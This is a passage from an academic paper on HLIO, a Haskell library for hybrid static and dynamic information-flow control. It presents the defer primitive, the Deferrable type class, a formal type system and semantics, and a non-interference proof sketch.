make the program typeable by using our primitive defer (under-

lined below):4

4 We do not yet give type signatures since types slightly differ from the types
of the corresponding primitives in SLIO.

foo host1 host2 = do

LabeledX lv1 ← readRemote host1
LabeledX lv2 ← readRemote host2
lv ← defer (toLabeled (lReport2 lv1 lv2))
return (LabeledX lv)

The role of defer is to defer static constraints to runtime; in this
case, the one which arises from toLabeled (lReport2 lv1 lv2).
This constraint will be ℓi ⊔ ℓ1 ⊔ ℓ2 ⊑ L, where ℓi is the initial
label and ℓ1 and ℓ2 are the labels of the returned labeled values
from the two readRemote calls.

To demonstrate how this works, assume that readRemote re-
turns a high-labeled value from host ”secure.org”, but a low-labeled
value from ”public.org”. The following sequence of calls (using
runHLIO , the HLIO analogue of runSLIO) shows that indeed
our primitive performs the check at runtime:

ghci> runHLIO L (foo "secure.org" "public.org")
*** Exception: IFC violation!
ghci> runHLIO L (foo "public.org" "public.org")
Success
ghci> runHLIO H (foo "public.org" "public.org")
*** Exception: IFC violation!

In the first case, the first labeled value will contain a high label
that taints the current label and results eventually in an IFC excep-
tion. In the second case, we only readRemote from public domains
and hence no exception is thrown. In the final case, although we
read from two public sites, we start from an already high label.

The defer primitive can be used at every point in the assembly
of a computation to selectively defer to runtime the constraints aris-
ing from a subcomputation, at the programmer’s will. For example,
the following variations are all well-typed:

lvL :: Labeled L String -- a statically known public value

bar x = do

LabeledX lv ← readRemote host

s1 ← defer (toLabeled (lReport2 x lv))
s2 ← lReport2 x lvL

return s2

baz x = do

LabeledX lv ← readRemote host

s1 ← defer (toLabeled (lReport2 x lv))
s2 ← defer (lReport2 x lvL)
return s2

The difference between bar and baz lies in the set of constraints
they dynamically check; in bar , we have to statically discharge
the constraints that arise from the computation of s2, but we will
dynamically check the constraints arising from lReport2 x lv
when computing s1. In baz , we will convert the constraints from s2
to be runtime checks. In both cases, we must defer the constraints
that arise from the computation of s1 as the label of lv would
otherwise escape in the returned constraint.

The mechanism of defer has also the benefit of addressing
the incompleteness of type inference engines or type-level lattice
specifications—any time we are faced with a constraint that we
cannot statically discharge, defer will convert it to a runtime check.

Having described the functionality we are aiming for, we now
present the HLIO API without yet diving into the internals of its
implementation.

Label Expressions Whenever a getLabel operation runs, we must
produce a runtime representation of the current label, i.e., a sin-
gleton. Consider the case where the current label is of the form
Join ℓ1 ℓ2. When ℓ1 and ℓ2 are known statically, we can just apply
the type family and compute the resulting label. However, if ℓ1 and
ℓ2 are existentially quantified, we need a way of computing a single-
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ton for the Join by combining the singletons for ℓ1 and ℓ2. There-
fore, it will be convenient to introduce another promoted datatype
that captures unevaluated label expressions as well as a type family
to reduce them to Label types. As we will see in Section 6, this
additional level of indirection allows us to compute singletons for
Join and also to defer constraints involving existentials.

data LExpr a = LVal a | LJoin (LExpr a) (LExpr a)

type family E (ℓ :: LExpr Label) :: Label where

E (LVal x) = x

E (LJoin ℓ1 ℓ2) = Join (E ℓ1) (E ℓ2)

class Flows (E ℓ1) (E ℓ2)⇒
FlowsE (ℓ1 :: LExpr Label) (ℓ2 :: LExpr Label )

instance Flows (E ℓ1) (E ℓ2)⇒ FlowsE ℓ1 ℓ2

data Labeled (ℓ :: LExpr Label) a =
Labeled (SLabel (E ℓ)) a

Data type LExpr Label captures unevaluated label expressions at
the type level, and E reduces them to Label values. The type class
FlowsE is isomorphic to Flows , with the exception that it ranges
over LExpr Label instead of Label . Note that we also redefine the
Labeled data type to include arbitrary labeled expressions. Type
family LJoin encodes ⊔ at the level of types.

HLIO Monad GHC introduces a kind Constraint to classify
constraints and allows constraint polymorphism (Orchard and
Schrijvers 2010). This means that ADTs can be parameterized over
constraints. HLIO exploits this feature to provide a monad HLIO
below:

data HLIO (c :: Constraint)
(ℓi :: LExpr Label ) (ℓo :: LExpr Label) a

The HLIO datatype is very similar to SLIO except that it also
records a constraint c ::Constraint (we motivate this design choice
in Section 6). The rest of the HLIO API provides mechanisms to
discharge these constraints statically or dynamically. A computa-
tion HLIO c ℓi ℓo a should be read as a computation that, under
constraint c and from initial label ℓi produces a value a and raises
the current label to ℓo . The types of (>>=) and return show how
constraints are collected:

(>>=) :: HLIO c1 ℓ1 ℓ2 a

→ (a → HLIO c2 ℓ2 ℓ3 b)→ HLIO (c1, c2) ℓ1 ℓ3 b

return :: a → HLIO () ℓi ℓi a

Note that the type of (>>=) creates a tuple of constraints (c1, c2)
by collecting constraints c1 and c2 from the sub-computations. The
type of return collects a trivial constraint ().

IFC Functionality HLIO provides the same API as SLIO:

labelOf :: Labeled ℓ a → SLabel (E ℓ)
getLabel :: HLIO () ℓi ℓi (SLabel (E ℓi))
unlabel :: Labeled ℓ a → HLIO () ℓi (LJoin ℓi ℓ) a
label :: SLabel ℓ→ a

→ HLIO (FlowsE ℓi (LVal ℓ))
ℓi ℓi (Labeled (LVal ℓ) a)

toLabeled ::HLIO c ℓi ℓo a

→ HLIO c ℓi ℓi (Labeled ℓo a)

Unlike in SLIO, label just records constraint FlowsE ℓi (LVal ℓ)
in its result type—instead of actually constraining the whole type
of the function. This is the only HLIO primitive that generates a
constraint.

Deferring and Simplifying Constraints In addition to the core
IFC functionality, HLIO adds the ability to defer collected con-
straints, or explicitly simplify them in one go:

defer ::Deferrable c ⇒ HLIO c ℓi ℓo a → HLIO () ℓi ℓo a

simplify :: c ⇒ HLIO c ℓi ℓo a → HLIO () ℓi ℓo a

The function defer accepts an HLIO computation that would
be typeable under constraint c, and returns a computation that is ty-
peable under no constraint! Indeed, the purpose of this combinator
is to discharge the constraint by a runtime test. The puzzled reader
may wonder how it is even possible to have a sound implementa-
tion of defer . The magic is in the Deferrable type class, which we
describe in Section 5.

Dually to deferring constraints to runtime, we may require them
to be statically discharged—function simplify allows us to do
that. Like defer , simplify accepts an HLIO computation that
is typeable under constraint c, and returns a computation that is
typeable under the empty constraint provided that we can discharge
c statically (hence the quantification c ⇒ ...).

Running HLIO Computations Finally, the function that runs
HLIO computations is analogous to runSLIO , except that we

require the collected constraints to be provable.5

runHLIO :: c ⇒ SLabel ℓ→ HLIO c (LVal ℓ) ℓo a → IO a

The Rest of the Paper In the rest of the paper, we describe
the Deferrable class which enables us to implement the defer
combinator (Section 5), and we present the design decisions and
the implementation of the HLIO API (Section 6). We formalize the
core features of HLIO as a calculus and prove non-interference
by elaboration to (ordinary) LIO (Section 7). We discuss other
applications of Deferrable beyond IFC (Section 8).

5. Deferrable Constraints

To understand the implementation of HLIO, we first dive into the
internals of Deferrable . For a given constraint c, an instance of
Deferrable c defines a single function deferC :

class Deferrable (c :: Constraint) where

deferC :: forall a.Proxy c → (c ⇒ a)→ a

The Proxy c argument is a commonly used technique to get
around the lack of explicit type applications in the Haskell source
language—instead, we provide a never-evaluated Proxy c argu-
ment that we can provide an annotation for, e.g., deferC (⊥ ::
Proxy (C Int)) m .

The second argument, c ⇒ a , represents a computation that can
only be executed if we can statically satisfy the constraint c. The
return type of defer is plainly the result of that computation.

It should (rightly so) seem impossible to implement an instance
of Deferrable for every possible constraint c. However, we can
provide instances for specific constraints, provided we have enough
runtime information around. In what follows, we show how to
provide an instance for FlowsE . We start by creating a type-class
capturing a singleton label:

class ToSLabel (ℓ :: LExpr Label) where

slabel :: LProxy ℓ→ SLabel (E ℓ)

instance ToSLabel (LVal H ) where slabel = H

instance ToSLabel (LVal L) where slabel = L

instance (ToSLabel ℓ1,ToSLabel ℓ2)
⇒ ToSLabel (LJoin ℓ1 ℓ2) where

slabel = case (slabel p1, slabel p2) of
(H ,H )→ H

(H ,L)→ H

5 Alternatively, we could equally require that c be simply Deferrable , or
that c be () and make use of the appropriate defer or simplify combinators
when constructing an HLIO computation.
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(L,L)→ L

(L,H )→ H

where p1 = ⊥ :: LProxy ℓ1; p2 = ⊥ :: LProxy ℓ2

Note that we have given instances for the full range of label expres-
sions LExpr Label .

If we have instances for ToSLabel ℓ1 and ToSLabel ℓ2 around,
then we effectively have runtime witnesses for the corresponding
singleton labels, and, in that case, it is very simple to provide an

instance for Deferrable (FlowsE ℓ1 ℓ2)
6:

instance (ToSLabel ℓ1,ToSLabel ℓ2)⇒
Deferrable (FlowsE ℓ1 ℓ2) where

deferC p m = case (slabel p1, slabel p2) of
(L,L) → m

(L,H ) → m

(H ,H )→ m

(H ,L) → error "IFC violation!"

where p1 = ⊥ :: LProxy ℓ1; p2 = ⊥ :: LProxy ℓ2

The implementation of deferC pattern matches against the run-
time representations of the labels ℓ1 and ℓ2. In each correspond-
ing case, the GADT pattern match (e.g. (L,L) in the first case)
allows the type system to refine ℓ1 and ℓ2 (e.g. ℓ1 := LVal L and
ℓ2 :=LVal L in the first case). Thus, every constraint FlowsE ℓ1 ℓ2
required by m can be refined (e.g. to FlowsE (LVal L) (LVal L)
in the first case) and can be readily discharged by top-level in-
stances for FlowsE . It is still possible to forget to include some
of the cases, but this will only make the test more conservative.

Note that in the fourth case above (for which no instance exists!),
we have no way of calling m , i.e., deferC would be ill-typed if we
tried. This case corresponds to a genuine runtime error, and we
return an error indicating a violation of the IFC policy.

Constraints will be collected together in tuples through uses of
(>>=) and hence we also provide an instance for pairs of constraints,
whose definition we omit, i.e., Deferrable (c1, c2).

Finally, we also revisit our definition of LabeledX to include a
dictionary for ToSLabel to produce a singleton for the existentially-
quantified label.

data LabeledX a where

LabeledX :: ToSLabel ℓ⇒ Labeled (ℓ :: Label ) a
→ LabeledX a

This is necessary for applying defer to computations involving
labeled expressions that have been unpacked from a LabeledX .

The Deferrable class is an extremely powerful abstraction for
transforming static errors to dynamic checks, and we later show
that even type checker equalities generated by the compiler infer-
ence mechanism can be defered (Section 8). We proceed to show
how Deferrable can be used to implement the defer primitive.

6. HLIO Design and Implementation

In Haskell, we embed HLIO as a GADT where the constructors cor-
respond to the primitives described in Section 4. More specifically,
data type HLIO has constructors Return , Bind , Unlabel , Label ,
ToLabeled , GetLabel , Defer , and Simplify, which represent un-
interpreted commands return , bind , unlabel , label , toLabeled ,
getLabel , defer , and simplify , respectively. The types for these
constructors match the types given for the commands they repre-
sent. In order to give semantics to HLIO terms, we provide an
interpretation function go with the type

go :: forall c ℓi ℓo a.HLIO c ℓi ℓo a

→ (c ⇒ SLabel (E ℓi)→ IO (a,SLabel (E ℓo)))

6 Readers can ignore the proxy arguments p, p1 and p2.

The interpretation of HLIO is in an IO monad combined with
a state to represent the current label (in the style of LIO). Although
it might be tempting to get rid of the runtime representation of the
current label, this is not possible since code is allowed to inspect it
at any time (as a runtime value) using getLabel .

go (Return x) ℓi = return (x , ℓi)
go (Bind m f ) ℓi = do (a, ℓ′i)← go m ℓi ; go (f a) ℓ′i

go (GetLabel ℓi) = return (ℓi , ℓi)
go (Unlabel (Labeled ℓ v)) ℓi = return (v , ℓi ‘ljoin‘ ℓ)
go (Label ℓ a) ℓi = return (Labeled ℓ a, ℓi)

go (ToLabeled (m :: HLIO c ℓi ℓ
′
o a ′)) ℓi = do

(x , ℓo)← go m ℓi ; return (Labeled ℓo x , ℓi)

go (Defer slio) ℓi = deferC (setProxy slio) (go slio ℓi)
where setProxy ::HLIO c ℓi ℓo a → Proxy c

setProxy = error "Proxy!"

go (Simplify m) ℓi = go m ℓi

The interesting cases are the definitions for Unlabel , Defer , and
Simplify. For Unlabel , go performs an ordinary term-level ljoin:

ljoin :: SLabel ℓ1 → SLabel ℓ2 → SLabel (Join ℓ1 ℓ2)

but we never get to inspect the return label unless we explicitly
perform a getLabel and subsequently strictly use the label, or
unless we perform some form of runtime check. For Defer , go
applies the technique from Section 5 with the appropriate proxy.
Simplify executes m , but exposing its constraints to GHC in order
to statically discharge them.

We briefly motivate some of the design choices made in HLIO.

(Singleton Classes) We have seen in the previous section that
the motivation for a type-class ToSLabel ℓ containing a single-
ton SLabel (E ℓ) comes from the need for deferring FlowsE con-
straints.

(LExpr Label and Deferrable) When describing SLIO, we used
the Label datatype and the Flows type class. However, HLIO
shifted to datatype LExpr Label and the FlowE type class to
be able to defer constraints. To illustrate the reason behind that,
consider an alternative Deferrable instance, without all the LExpr
complications, and where ToSLabel was indexed by Label :

instance (ToSLabel (ℓ1 :: Label),ToSLabel (ℓ2 :: Label))⇒
Deferrable (Flows ℓ1 ℓ2) where

With this definition, we may find ourselves in need of deferring
constraints of the form Flows (Join ℓ1 L) L, where Join is the ⊔-
operation type family implementation directly on Label s. But type
class axioms do not match on type families! (They only match on
rigid type constructors.) Consequently, it is impossible to discharge
that constraint either statically or dynamically. In contrast, by ex-
posing a rigid constructor LJoin , we were able to give instances
for the join of two labels; with our approach, it is true that the con-
straint ToSLabel (LJoin ℓ1 L) is automatically discharged from
ToSLabel ℓ1.

(Embedding Constraints in HLIO) The introduction of con-
straint c as part of the HLIO definition achieves a purely syntactic
manipulation of constraints, and excludes any possible simplifica-
tion by GHC—except when the programmer explicitly requires so
with simplify . This aspect is beneficial for two reasons: Firstly,
this allows us to prevent eager simplification of certain constraints
into a form that cannot be deferred or even discharged. For in-
stance, imagine that a constraint FlowsE ℓ1 ℓ2 floats outside of
the HLIO type. In this case, GHC tries to discharge it by prov-
ing Flows (E ℓ1) (E ℓ2). However, as we discussed before, type
class axioms do not match on type families. Moreover, even if
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that were possible, deferring such a constraint would require in-
stances of ToSLabel (LVal (E ℓ1)) and ToSLabel (LVal (E ℓ2)),
which cannot be constructed from instances of ToSLabel ℓ1 or
ToSLabel ℓ2. Secondly, when evaluating a defer expression, the
constraint c in HLIO makes it possible for the go function to au-
tomatically supply a proxy to instantiate c (by unification) for a
particular constraint in the type of deferC , thus allowing the type
checker to select the right instance of Deferrable without any help
from the programmer. If we were not collecting the constraint c in
HLIO , the programmer would have to supply these proxies explic-
itly, making HLIO much more cumbersome to use.

In summary, we have chosen to keep the constraints in their
unsimplified form as much as possible, and give the programmer
the freedom to decide whether they are to be checked statically or
dynamically via explicit annotations (simplify and defer ).

7. Formal Semantics and Non-interference

In this section, we formalize HLIO and provide security guarantees
for our approach by interpreting HLIO in LIO and showing an
equivalence in the security checks performed by both systems.

Figure 7 presents a type system for HLIO. For the sake of
brevity, the figure only shows the security-relevant rules; the re-
maining rules are standard and can be found in the extended ver-
sion of this paper. The terms of HLIO are the same as in LIO, with
the addition of the defer construct. A lattice expression ℓ is either
a primitive label Label , a join operation (⊔), or a meet operation
(⊓). A constraint c is either the empty constraint (), a pair of two
constraints ((c, c)), or a flow constraint among label expressions
(ℓ ⊑ ℓ). The type HLIO is a Hoare state monad in the style of
statically-typed LIO, as presented in Section 3, except that it also
includes a constraint c. A computation with type HLIO c ℓi ℓo τ
is subject to constraints c, and takes the current label from ℓi to ℓo ,
and produces a value of type τ . The type Labeled ℓ τ represents
expressions with label ℓ and type τ , and the type Label ℓ is a single-
ton type for label ℓ, i.e., a type with a single total inhabitant, which
can be identified with ℓ.

The typing rule for return simply states that the current label
is not changed and no constraints need to be checked. Rule (BIND)
looks like the usual typing rule for (>>=), but it additionally com-
bines the constraints generated by m and f (c and c′) into one and
also expresses that the final label of computation m should match
the initial label of the computation produced by f . Rule (LABEL)
generates a security check as a constraint (ℓi ⊑ ℓ), and also ex-
presses that the current label does not change. Note that in this rule
we also check the connection between term-level s and type-level ℓ,
by using the singleton type. Rule (UNLABEL) reflects the fact that
unlabeling an expression labeled ℓ raises the current label ℓi to the
join ℓi ⊔ ℓ. Rule (TOLABELED) checks that the subcomputation
m has a valid HLIO type, and expresses that the toLabeled com-
putation will not change the current label (or rather, that it will be
restored after m finishes), and also that the resulting value of type
a is protected by label ℓo , i.e., the maximum (and final) label at-
tained by m . Rule (DEFER) checks that the subcomputation m has
a valid type and hides the constraints produced by m , so that the
expression defer m is subject to no static checks.

7.1 Semantics for LIO

Figure 8 shows the semantics of LIO, which we will use to interpret
HLIO. The semantics closely follows previous work on LIO (Stefan
et al. 2011b), given as a small-step operational semantics based
on a transition relation −→ between configurations of the form
〈ℓcur | t〉, where ℓcur is the current label and t is the term being
evaluated. As before, we only show the rules for computations
with security-relevant effects. The full presentation also includes
a relation for pure computation ( ), which is used in the rule

Values v ::= True | False | () | λx .t | Label
| LIOTCB t | LabeledTCB ℓ t

Terms t ::= v | x | t t | fix t | if t then t else t

| t ⊗ t | return t | t >>= t | getLabel
| label t t | unlabel t | labelOf t

| toLabeled t t | defer t

LOps ⊗ ::= ⊔ | ⊓ |⊑
Lattice ℓ ::= Label | ℓ ⊔ ℓ | ℓ ⊓ ℓ

Constraints c ::= () | (c, c) | ℓ ⊑ ℓ

Types τ ::= Bool | () | τ → τ | HLIO c ℓi ℓo τ

| Labeled ℓ τ | Label ℓ

RETURN

Γ ⊢ x : τ

Γ ⊢ return x : HLIO () ℓi ℓi τ

BIND

Γ ⊢ m :HLIO c ℓi ℓ a Γ ⊢ f : a → HLIO c′ ℓ ℓo b

Γ ⊢ m >>= f :HLIO (c, c′) ℓi ℓo b

LABEL

Γ ⊢ t : a Γ ⊢ s : Label ℓ

Γ ⊢ label s t : HLIO (ℓi ⊑ ℓ) ℓi ℓi (Labeled ℓ a)

UNLABEL

Γ ⊢ v : Labeled ℓ a

Γ ⊢ unlabel v :HLIO () ℓi (ℓi ⊔ ℓ) a

TOLABELED

Γ ⊢ m : HLIO c ℓi ℓo a

Γ ⊢ toLabeled m : HLIO c ℓi ℓi (Labeled ℓo a)

DEFER

Γ ⊢ m : HLIO c ℓi ℓo a

Γ ⊢ defer m : HLIO () ℓi ℓo a

Figure 7. Type system for HLIO.

for labelOf , but we elide the details since they are not relevant
for our purposes. The semantics uses Felleisen-style evaluation
contexts to specify evaluation order, where Ep stands for contexts
for pure computations and E stands for contexts for effectful ones.
As usual, we define −→∗ to be the reflexive and transitive closure
of−→. Additionally, our transitions are labeled by the information-
flow constraints that are being checked at runtime, as can be seen

in rule (LABEL). We write A
c
−→

∗
B if A −→∗ B while

performing the set of security checks c. For technical reasons, we
also include a nonstandard primitive eval which is used to force
pure computations. Despite not being a part of LIO, we remark
that it acts on pure values and its evaluation involves no security-
relevant effects, so it is easy to prove that the calculus is still
sound after adding it. Essentially, LIO already includes a way to
force evaluation for booleans (if statements), so eval is merely a
generalization of this construct.

7.2 Semantics for HLIO

Figure 9 introduces the functions interp and toLIO , which we
use to interpret HLIO and relate this interpretation with the corre-
sponding standard LIO semantics. These two functions are defined
as term-to-term transformations. The returned term, however, only
utilizes LIO primitives. (Function interp closely follows the defi-
nition of function go described in Section 6.)

The function interp provides an interpretation of HLIO in dy-
namic LIO (Stefan et al. 2012b). Given a well-typed HLIO com-
putation m , interp m runs m without performing any security
checks, except for those in defer . This fact can be seen in the defi-
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Ep ::= Ep t | fix Ep | if Ep then t else t | Ep ⊗ t | v ⊗ Ep

| label Ep t | unlabel Ep | labelOf Ep | toLabeled Ep t

E ::= [ ] | Ep | E >>= t

GETLABEL

〈ℓcur | E [getLabel ]〉 −→ 〈ℓcur | E [return ℓcur ]〉

TOLABELED

ℓcur ⊑ ℓ 〈ℓcur | t〉
c

−→
∗
〈ℓ′cur | LIO

TCB t ′〉 ℓ′cur ⊑ ℓ

〈ℓcur | E [toLabeled ℓ t ]〉
c

−→ 〈ℓcur | E [ label ℓ t ′ ]〉

LABEL

ℓcur ⊑ ℓ

〈ℓcur | E [ label ℓ t ]〉
ℓcur⊑ℓ
−−−−→ 〈ℓcur | E [return (LabeledTCB ℓ t)]〉

UNLABEL

ℓ′cur = ℓcur ⊔ ℓ

〈ℓcur | E [unlabel (LabeledTCB ℓ t)]〉 −→ 〈ℓ′cur | E [return t ]〉

EVAL

t  ∗ v

Ep [eval t ]  Ep [v ]

LABELOF

Ep [ labelOf (LabeledTCB ℓ t)] Ep [ℓ ]

Figure 8. Evaluation contexts and reduction rules.

interp (label t t ′) = LabeledTCB (eval t) (interp t ′)
interp (unlabel t) = unlabel (interp t)
interp (LabeledTCB t : Labeled ℓ τ) = LabeledTCB ℓ (interp t)
interp (defer (m :HLIO c ℓi ℓo τ)) = guards c >> interp m

interp (toLabeled (m : HLIO c ℓi ℓo τ)) =
toLabeled ℓo (interp m)

interp (m >>= f ) = interp m >>= interp.f

· · ·

toLIO (label t t ′) = label t (toLIO t ′)
toLIO (unlabel t) = unlabel (toLIO t)
toLIO (LabeledTCB t : Labeled ℓ a) = LabeledTCB ℓ (toLIO t)
toLIO (defer m) = toLIO m

toLIO (toLabeled (m : HLIO c ℓi ℓo a)) =
toLabeled ℓo (toLIO m)

toLIO (m >>= f ) = toLIO m >>= toLIO .f

· · ·

Figure 9. The functions interp and toLIO . The missing equations
just behave homomorphically.

nition for label—the case where security side-effects are triggered.
This case simply synthesizes a labeled term (LabeledTCB ℓ t), thus
skipping any security check. The unlabel operation performs no
security checks, so its interpretation is exactly the same as in LIO.
The interpretation of labeled terms are simply cast into dynamic
labeled terms in LIO , where the dynamic label is determined by
static information (i.e., LabeledTCB t :Labeled ℓ a). In the interpre-
tation of defer , we use the guards command, which takes a set of
constraints and checks all of them at runtime, aborting the program
if any of them fails. These constraints are checked in one go, before
running the subcomputation itself. The static version of toLabeled
is translated into its dynamic counterpart, where the final current
label (after executing m) is predicted to be ℓo . The interpretation
of (>>=) simply applies interp to its arguments.

Different from interp , the function toLIO directly translates
an HLIO computation into a dynamic LIO computation where all
the security checks occur dynamically. The translation for labeled
terms, toLabeled , and (>>=) are defined similarly as in interp . La-
bel and unlabel, however, simply reformulate the command in LIO ,
where the corresponding security side-effects might be triggered.

7.3 Non-interference

We define the simulation relation ∼, which expresses that two
terminating programs perform the same information flow checks
and compute the same values.

DEFINITION 1. (Simulation between LIO terms) Let A and B be

LIO configurations, then A ∼ B iff A
c
−→

∗
X and B

c
−→

∗
X ,

where X is A’s weak head normal form. Note that we only con-
sider terminating programs due to the fact that LIO only provides
security guarantees for terminating runs.

We define a big-step evaluation relation ⇓ for HLIO terms.

DEFINITION 2. (Big-step semantics for HLIO) Given an HLIO
term, (t : HLIO c ℓi ℓo τ ) ⇓ v if and only if 〈ℓi | interp t〉
c
′

→
∗

〈ℓo | toLIO v〉.

The definition leverages the LIO semantics. It applies interp to the
term being reduced as well as toLIO to the result. Observe that
toLIO is needed for cases where v still contains HLIO terms, e.g.,
when v is composed of nested labeled terms.

The next lemma (see details in the extended version of the paper
(Buiras et al. 2015) ) introduces a relationship between the security
checks done by HLIO and LIO.

LEMMA 1 (Simulation between HLIO and LIO terms).
Given that (t : HLIO c ℓi ℓo τ ) ⇓ v , then 〈ℓi | guards c >>
interp t〉 ∼ 〈ℓi | toLIO t〉.

The lemma states that if we take the statically-determined con-
straints c for a well-typed term t into account, we can prove that
the programs guards c >> interp t and toLIO t are in simulation
with respect to their security checks and final values. The former
performs all statically-determined security checks in the beginning,
and then runs the program with the deferred checks. The latter is ob-
tained by viewing the original program as an LIO program, where
all defer operations are removed.

The semantic correspondence from Lemma 1 guarantees that
if an HLIO program is well-typed and terminates successfully,
then the equivalent LIO program would also terminate successfully.
Conversely, if the LIO program fails with a security error, the HLIO
program will either not have a type or fail during a defer computa-
tion. Since the HLIO and LIO enforcement mechanisms are equiv-
alent in this sense, and LIO enforces noninterference (Stefan et al.
2011b), we can show that HLIO enforces the same property.

For our security guarantees, we consider an attacker at sensi-
tivity level l, who can only observe values at a security level at
most l. LIO defines two terms t1 and t2 to be l-equivalent (written
t1 ≈l t2) if the attacker is unable to distinguish between them, e.g.
LabeledTCB L 3 ≈l LabeledTCB L 3 and LabeledTCB H 1 ≈l

LabeledTCB H 5, but LabeledTCB L 2 6≈l Labeled
TCB L 1—LIO

also extends this notion to configurations. We leverage LIO defini-
tions to express our non-interference theorem—after all, HLIO gets
interpreted in LIO!

Noninterference expresses the notion that a program cannot leak
secrets. Intuitively, a program is noninterfering if, considering two
independent runs with l-equivalent inputs, their final values are also
l-equivalent. In other words, attackers cannot distinguish the values
of secret inputs by observing the outputs.
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THEOREM 1 (Termination-insensitive noninterference).
Given HLIO terms t1 and t2 with no constructors ·TCB such that
constraints c1 and c2 hold, (t1 : HLIO c1 ℓ1 ℓ2 τ ) ⇓ v1, (t2 :
HLIO c2 ℓi ℓo τ ′) ⇓ v2, and 〈ℓi | toLIO t1〉 ≈l 〈ℓi | toLIO t2〉,
then it holds that 〈ℓo | toLIO v1〉 ≈l 〈ℓo | toLIO v2〉.

PROOF SKETCH 1. The proof uses Lemma 1 to relate the reduc-
tions of interp t1 and interp t2 with toLIO t1 and toLIO t2,
respectively. Once that is done, the result follows by applying the
LIO non-interference theorem in (Stefan et al. 2012b). This theo-
rem requires that t1 and t2 do not include constructors of the form
·TCB. Consequently, observe that it is not possible to directly con-
sider l-equivalence between interpreted terms, i.e., interp t1 and
interp t2—they introduce constructors LabeledTCB to avoid secu-
rity checks. The proof is given in the extended version of the paper
(Buiras et al. 2015).

The theorem indicates that l-equivalent (fully) dynamic interpreta-
tions of HLIO terms (i.e., 〈ℓi | toLIO t1〉 ≈l 〈ℓi | toLIO t2〉),
where the static checks hold, produce l-equivalent results (in LIO)
(i.e., 〈ℓo | toLIO v1〉 ≈l 〈ℓo | toLIO v2〉). Observe that if
any HLIO terms leaked secrets, l-equivalence involving v1 and v2
would not hold.

8. Discussion

This section explains some design choices, while exploring others.

The toLabeled Function TheHLIO type for toLabeled deserves
some attention. From Section 2, we know that toLabeled ℓ m in
LIO performs two security checks: ℓcur ⊑ ℓ at the begining of
toLabeled , and ℓ′cur ⊑ ℓ where ℓ′cur is the current label obtained by
evaluating m . A directly corresponding static version of toLabeled
(and its dynamic checks) might be:

toLabeled :: Label ℓ→ HLIO c ℓi ℓo a

→ HLIO (c,FlowsE ℓi ℓ,FlowsE ℓo ℓ) ℓi ℓi (Labeled ℓ a)

Recall that, for security reasons, the role of the first argument (of
type Label ℓ) is to statically predict an upper bound of the current
label obtained by running m . The constraints in the return type of
toLabeled express this fact. In HLIO, however, that prediction is
already given! Observe that type m :: HLIO c ℓi ℓo a says “after
running m , the final current label is ℓo .” We can use ℓo as the upper
bound, i.e., ℓ ≡ ℓo , and remove the static check FlowsE ℓo ℓ.
Moreover, we know that ℓi ⊑ ℓo by construction, which allows
the removal of FlowE ℓi ℓ. By taking all these facts together, we
can dismiss all the extra constraints.

toLabeled ::HLIO c ℓi ℓo a → HLIO c ℓi ℓi (Labeled ℓo) a

In Section 7, we have formally proved that this primitive is secure
by establishing a simple relationship with its counterpart in LIO.

Conditionals The monad HLIO is embedded in Haskell as a
GADT, so it is possible to use Haskell’s if statements to express
conditional branching. However, the Haskell type system requires
that the types of both branches be the same. In particular, if the
branches are HLIO computations, their types must also completely
agree, including constraints and initial and final labels. Unfortu-
nately, this means that it is not possible to have if statements where
one branch produces a constraint and the other one does not or,
more generally, where the branches produce different sets of con-
straints. For example, the following expression, where x :: Int , is
ill-typed:

if x > 0 then (label H x >> return x) else return (x + 1)

The reason for the type error is that one branch has type
HLIO (Flows ℓi H ) ℓi ℓi Int , while the other one has type

HLIO () ℓi ℓi Int . When it comes to disparities in the constraints,
it is possible to work around this restriction by means of defer
operations. The programmer can use defer to check one or both
of the branches dynamically, which causes the constraints in the
HLIO type to be (), thus keeping the Haskell type checker happy.
However, if the current label is not updated in exactly the same way
in both branches, the if statement will also be ill-typed. Note that
this cannot be solved with defer .

An alternative solution that addresses the problem with both
constraints and the current label involves adding another primitive
for if statements, i.e., a constructor If for the HLIO GADT. The
type of this constructor would accurately express the connection
between constraints and current labels in both branches, as follows:

If :: Bool → HLIO c1 ℓi ℓo a → HLIO c2 ℓi ℓ
′
o a

→ HLIO (c1, c2) ℓi (LJoin ℓo ℓ′o) a

Essentially, the primitive would over-approximate the con-
straints and the final label, as can be expected from a static analysis.
This solution would not only introduce notational overhead but
also complicate the formal treatment of HLIO significantly, as we
would no longer have a one-to-one correspondence between static
and dynamic checks. Instead, we could prove that the dynamic
checks are a subset of the statically-determined constraints. In or-
der to simplify our exposition, we chose to avoid this solution, but
we believe it would be a reasonably straightforward extension.

Deferring Constraints beyond Non-interference TheDeferrable
type class enables programmers to give instances for deferring the
check for a constraint to runtime. In this section, we show how
to push this idea to the extreme, by deferring the check for type
equalities that are generated by GHC’s type inference. We iterate
that the code in this section (and everywhere in this paper) requires
no modifications to GHC.

We wish to defer a type equality between two types ta and tb ,
which in GHC type system would be expressed as ta∼tb of kind
Constraint . Of course, in order to perform such a test at runtime,
we need to have runtime type information around about the shape
of types ta and tb. GHC provides the Typeable type class that
captures runtime type representations. This enables the following
instance definition:

instance (Typeable a,Typeable b)⇒
Deferrable (a∼b) where

defer p m = case eqT ::Maybe (a :∼: b) of
Nothing → error "type error!"

Just Refl → m

Function eqT is a standard library function, providing a runtime
witness of the equality of two types that are instances of Typeable :

eqT :: (Typeable b,Typeable a)⇒ Maybe (a :∼: b)

and a :∼: b is a GADT expressing with its only constructor Refl
the fact that a and b are in fact equal:

data (a :∼: b) where Refl :: (a∼b)⇒ (a :∼: b)

If programmers write a program that contains a type error:

foo :: forall a.a → a → a

foo x y = if x then False else y

GHC will report: Couldn’t match expected type ‘Bool’
with actual type ‘a’. As we may, in fact, apply foo to two
boolean values at runtime, programmers may want to make this
program typeable by deferring the constraint:

foo :: forall a.Typeable a ⇒ a → a → a

foo x y = defer p (if x then False else y)
where p :: Proxy (a∼Bool) = ⊥

298



In this case, foo True False returns False , while foo 3 4 pro-
duces *** Exception: type error. Note that this behavior dif-
fers from related work (Vytiniotis et al. 2012), which defers unsat-
isfiable constraints as errors to runtime. Instead, we do genuinely
defer the check at the (unavoidable) cost of having the type repre-
sentation around.

9. Related work

Hybrid IFC There is considerable literature on static analyses aid-
ing IFC execution monitors for different purposes. To boost permis-
siveness, Le Guernic et al. provide monitors which statically ana-
lyze non-taken branches of secret conditionals (Le Guernic et al.
2007; Le Guernic 2007). Similarly, Shroff et al. design a monitor
which leverages variable dependencies (provided by a type sys-
tem) when programs branch on secrets (Shroff et al. 2007). Be-
